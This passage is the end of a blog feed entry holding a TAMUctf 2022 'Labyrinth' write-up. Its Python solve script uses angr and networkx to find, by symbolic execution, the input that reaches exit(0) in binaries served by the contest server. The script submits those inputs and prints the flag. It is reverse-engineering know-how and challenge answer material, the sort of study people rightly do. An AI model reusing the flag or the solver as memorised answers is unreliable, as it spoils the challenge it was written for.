    state &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; simgr&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;found&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Our last step is to get the input used. angr&#39;s constraint solver should have it figured out.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-py&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-py&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Get input which will get us from main to exit(0).&lt;/span&gt;
chain &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; state&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;posix&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;dumps&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; chain&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;On my computer, this solve process takes roughly 30-40 seconds... which is good enough, since it falls within the allotted time of one minute per solve. Putting it together with the solver template and running it, the server kindly hands us the flag!&lt;/p&gt;
&lt;h3 id=&quot;solve-script&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/tamuctf-2022-labyrinth/#solve-script&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Solve Script&lt;/h3&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-py&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-py&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; angr &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; networkx &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; shortest_path
&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; pwn &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;


&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;solve&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;elf&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    p &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Project&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    elf &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; ELF&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;# Find target address.&lt;/span&gt;
    start_addr &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x4011b3&lt;/span&gt;
    tar_addr &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x4011c8&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;# Construct a CFG from the 1000 functions.&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;# Restrict analysis to the relevant region to reduce time.&lt;/span&gt;
    region &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0x401155&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x400000&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; elf&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sym&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;__libc_csu_init&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
    cfg &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;analyses&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;CFGFast&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;regions&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;region&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;# Get networkx nodes for start and target addresses in CFG.&lt;/span&gt;
    src_node &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; cfg&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;model&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get_any_node&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;start_addr&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; anyaddr&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    tar_node &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; cfg&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;model&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get_any_node&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;tar_addr&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; anyaddr&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;# Ensure nodes exist. shortest_path works differently if a node is None.&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; src_node &lt;span class=&quot;token keyword&quot;&gt;is&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;None&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;and&lt;/span&gt; tar_node &lt;span class=&quot;token keyword&quot;&gt;is&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;None&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;# Construct the shortest path from src to tar. This will be a list of CFGNodes.&lt;/span&gt;
    path &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; shortest_path&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;cfg&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;graph&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; src_node&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; tar_node&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;# Walk through the rest of the path.&lt;/span&gt;
    state &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;factory&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;blank_state&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;addr&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;start_addr&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; node &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; path&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token comment&quot;&gt;# Let the simulator engine works its magic.&lt;/span&gt;
        simgr &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;factory&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;simgr&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;state&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        simgr&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;explore&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;find&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;node&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;addr&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;simgr&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;found&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;
        
        &lt;span class=&quot;token comment&quot;&gt;# Keep the found state for next iteration.&lt;/span&gt;
        state &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; simgr&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;found&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;# Get input which will get us from main to exit(0).&lt;/span&gt;
    chain &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; state&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;posix&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;dumps&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;chain&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; chain


p &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; remote&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;tamuctf.com&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;443&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; ssl&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; sni&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;labyrinth&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; binary &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;# Read input and save as binary.&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;elf&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;wb&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token builtin&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;write&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;fromhex&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;recvline&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;rstrip&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;decode&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    
    &lt;span class=&quot;token comment&quot;&gt;# Solve and print.&lt;/span&gt;
    out &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; solve&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sendline&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;out&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;hex&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;encode&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;interactive&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3 id=&quot;flag&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/tamuctf-2022-labyrinth/#flag&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Flag&lt;/h3&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-text&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;gigem{w0w_y0ur3_r34lly_600d_w17h_m4z35}&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</content>
        
          <category>ctf</category>
        
          <category>reverse</category>
        
          <category>python</category>
        
          <category>programming</category>
        
          <category>writeup</category>
        
      </entry>
    
  
</feed>